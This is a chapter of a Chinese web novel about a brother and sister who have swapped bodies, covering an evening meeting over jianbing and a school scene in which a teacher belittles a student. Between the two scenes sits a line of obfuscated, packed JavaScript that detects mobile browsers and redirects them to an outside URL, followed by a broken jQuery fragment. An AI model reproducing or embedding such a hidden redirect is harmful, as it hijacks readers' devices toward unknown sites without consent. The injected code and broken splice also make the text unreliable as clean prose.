开门,进屋,沈渡舟把包扔在沙发上。
手机震动了两下,是沈知窈发来的消息:“今天怎么样?”
沈渡舟看着那三个字,想了想,回:“还行,替你把你那个前男友彻底处理了。”
那边沉默了几秒,然后回:“处理成什么样了?”
他回:“抨击渣男,人人有责,把他祖宗八代问候了一遍。”
那边又沉默了几秒,然后发来一个表情。
是他姐从来没用过的表情。
一个竖起来的大拇指。
沈渡舟差点没忍住笑出声,她什么时候会发表情包了,人设不太对吧。
手机又震了,还是他姐的消息:“牛啊。”
他回:“姐你眼光不行啊,就这么个男的,留着过了三次年?”
那边回:“他还说什么了没。”
沈渡舟输入语音:“他再说话,我就要抽他了,他不敢说一个字!丫的出轨还有理了,应该拖出去乱棍打死。”
隔了一会儿,沈渡舟又输入一行字:“对了姐,我今天还碰到了一个人,叫许则安,你们……什么关系?”
沈知窈回消息:“以前的同学,本来是一起留校的,但后边调去外边儿的研究所。”
“是这样,林嘉文今天想对我动手动脚,恰好碰到许则安了……是他帮了你。”
沈渡舟想着刚才发生的事,一边斟酌着措辞。
沈知窈:“离林嘉文远点,一定要保持距离,他说什么你都不要信,保护好自己。”
沈渡舟想着刚才许则安挡在他前面的那个背影,想着他说“她不想跟你说话”时那个语气,想着他问“没事吧”的时候,眼睛里那点担心的东西。
本来想替对方多说几句好话的,但想到自家老姐是头犟驴,说多了反而适得其反。
顺其自然好了。
沈渡舟话题一转:“行我知道了,不说了,你冰箱里都是我不爱吃的,楼下有卖烤红薯和煎饼果子的,我要去买一个吃——”
“啊喂,沈渡舟!不许过量的垃圾食品!”沈知窈气急败坏地发了条语音。
只可惜沈渡舟才不会听,风风火火下楼了。
他姐这具身体真不行,跑两步就喘,吓一跳心跳快得像要从嗓子眼蹦出来,这要是他自己的身体,早他大爷追上去给林嘉文两拳了。
煎饼摊在巷子口那棵老槐树底下,大姐正忙着,摊前站着两个人,沈渡舟走过去,排在后面。
闻着那股煎饼的香味,胃里更饿了。
“要什么?”摊主是个四十多岁的大姐,手上动作麻利,铁板上滋啦滋啦响。
沈渡舟想了想:“一个煎饼果子,加两个蛋,多放辣。”
“要不要香菜?”
“不要。”
话音刚落,旁边突然传来一个声音。
“她不吃香菜。”
沈渡舟愣了一下,转过头。
旁边的长椅上坐着一个人,路灯的光从侧面照过来,照出那张脸——许则安。
他坐在那儿,手里拿着半个煎饼果子,看样子已经吃了一半。他穿着一件深灰色的薄外套,领子立着,坐姿很放松,两条腿伸着,看着像是专门坐在这儿等人的。
沈渡舟心里一紧。
他怎么还在这儿?不是走了吗?还有,这是什么时候换的衣服?
许则安对上他的目光,笑了笑,指了指手里的煎饼果子。
“刚好,我也住在附近,没吃晚饭,来这边买点吃的对付一口,正好看见你也在。”
沈渡舟张了张嘴,想说话,但一时不知道该说什么,刚才在巷子里那一出,他还没从那种情绪里完全出来,这会儿突然又碰见,有点措手不及。
摊主大姐看了看他们俩,又看了看沈渡舟,眼神里带着点八卦的意味。
“认识啊?那你朋友挺了解你,不吃香菜都知道。”
沈渡舟干笑了一声,没接话。
煎饼做好了,递过来。他接过,付了钱,站在原地,不知道该走还是该留。
许则安也没走,就那么坐在长椅上,慢慢嚼着手里的煎饼。
沈渡舟想了想,走过去,在长椅另一头坐下。
两个人中间隔着一米左右的距离,不远不近,刚好够说话。
夜风吹过来,有点凉。街上人不多,偶尔有车驶过,灯光扫过来又扫过去。煎饼摊的热气飘过来,混着烤红薯的甜香,闻着挺舒服。
“你怎么知道我不吃香菜?”沈渡舟开口,尽量让他姐的语气平稳一点。
许则安没急着回答,他咽下嘴里的东西,又喝了一口水:“你以前跟我讲过,有一回你改论文改到很晚,过了饭点才吃上饭,你跟那个老板说了三遍不要香菜。”
“但是很可惜,显然那个老板记性不太好,最后还是放了香菜,你就抱着面碗在角落里边挑香菜边哭,最后这顿面你还是没吃上。”
沈渡舟愣了一下。
他姐以前和许则安一起吃过饭?那他是姐姐的朋友吗?沈渡舟突然感到一阵失落,他跟沈知窈失联太久了。
沈知窈从不会在他面前聊起这些,这个许则安……他很了解沈知窈吗。
许则安继续说:“后来几次聚餐,我也会说我不吃香菜,免得你一个人不好意思。”
沈渡舟握着煎饼没说话。
这人观察力可以啊,他姐那性格,这样的事是干得出来的,看着不挑不拣,能吃饱就行,但不要香菜这事,是绝对不能忍受的。
“你调回来了?”他问,换了个话题。
许则安点头:“今天刚到。研究院那边项目结了,申请调回本校。”
“以后都在?”
“嗯,以后都在。”
沈渡舟咬了一口煎饼,香迷糊了。
“哪个部门?”
“还是老地方。在人文学院,不过换了个方向,做城市文化研究。”
沈渡舟想起他姐说过的那本书。那本关于老街巷的书,扉页上写着“给知窈”。就是许则安写的。
“那以后我们是同事?”他问。
许则安转过头,看着他。
“对,同事。”
他顿了顿,又说:“以后有事可以直接找我。办公室在三楼,东头最里面那间,你之前去过。”
沈渡舟不知道他姐以前去没去过,但他点了点头。
“行。”
两个人又沉默下来,各自吃着手里的煎饼。
远处有人在遛狗,一条小黄狗,跑几步回头看看主人,再跑几步,尾巴摇得像拨浪鼓。烤红薯摊前排起了队,都是下晚班的人,穿着厚衣服,搓着手等着。
沈渡舟吃着煎饼,余光扫了一眼旁边的人。
许则安坐得很放松,一点没有那种“我刚救了你现在要趁机套近乎”的意思,他就是坐在那儿,吃他的煎饼,看街上的车和人,偶尔说句话,说完就继续沉默。
煎饼吃完了,沈渡舟站起来,把包装纸扔进旁边的垃圾桶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345253|199519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我上去了,下回有机会再请你上去坐坐。”
许则安也站起来。
“行,这会儿也晚了,你早点休息。”
许则安转身要走。
沈渡舟站在那儿,看着他的背影,突然想起一件事。
“许老师。”
许则安回过头。
沈渡舟张了张嘴,想说点什么,想说谢谢你今晚帮忙,想说以后有机会请你吃饭,想说很多话。但话到嘴边,又觉得说什么都不太对。
最后沈渡舟只说了一句:“谢谢你,明天见。”
许则安的身影被路灯拉长,落在地上的阴影短了又长,他背过身去,朝沈渡舟这边招了招手:“明天见。”
年近三十的高中生沈知窈对自己的以及弟弟的高中生活深恶痛绝。
六点不到就要上自习,拜托天都没亮——要知道她当讲师的时候,早八都够呛。
但现在没办法,四面楚歌,箭在弦上不得不发。当一个人被贴上“坏学生”的标签之后,他做什么都是错的,哪怕他只是好好听了一节课。
第三节课是物理,教物理的是一个叫秦建国的男老师,五十出头,头发花白,说话声音很大,讲课喜欢用方言。他一进教室就开始发上周的月考卷子,发到最后,手里还剩一张。
“沈渡舟。”他念出那个名字,语气里带着一种早已注定的东西,“五十三分。”
教室里响起一阵压低的笑声。
沈知窈站起来,走过去拿卷子。她低头看了一眼那张卷子——五十三分,确实不高,但卷面上有好几道题她明明会做,却因为步骤不全被扣了分。
一顿操作猛如虎,归来仍是学渣。
沈知窈面无表情,实际内心狂喊:“你们以为五十分就很容易了么!”
她没说什么,拿着卷子往回走。
“站住。”秦建国叫住她。
沈知窈回过头。
秦建国站在讲台上,手里拿着保温杯,上下打量了她一眼,那种眼神她很熟悉,是那种“我早就知道你不行”的眼神。
“沈渡舟,”他说,“你这个分数,离本科线恨不得差两百多分。你现在还不着急?还在那混日子?”
沈知窈没说话。
“我告诉你,”秦建国喝了口茶,“你这个态度,能考上大学我跟你姓。别以为我不知道你整天在干什么,和社会上那些人混,抽烟打架逃课,你以为这样很威风?等高考完你就知道了,考不上大学,你这辈子就完了。”
教室里安静得能听见窗外的风声。
沈知窈站在那里,手里攥着那张卷子。
她想说什么?她能说什么?想说她不是她弟沈渡舟,想说她其实已经博士毕业,想说他这样当着全班的面说一个学生“这辈子就完了”是不对的。
但她不能说。
她现在是沈渡舟,是一个“整天和社会上的人混”的差生,是一个被所有老师默认“没救了”的人。
她只能站在那里,听着。
“行了,”秦建国挥了挥手,“回去坐着吧。”
她回到座位上,把卷子摊开。
旁边的一个瘦小男生偷偷凑过来,小声说:“渡哥,你别往心里去,秦老头就这样,他谁都骂。”
沈知窈不想说话。
瘦小男生继续说:“上次李浩考了十八分,他夸了半天。其实就是看人下菜碟,李浩家有关系,他不敢得罪。”
李浩。
又是这个名字。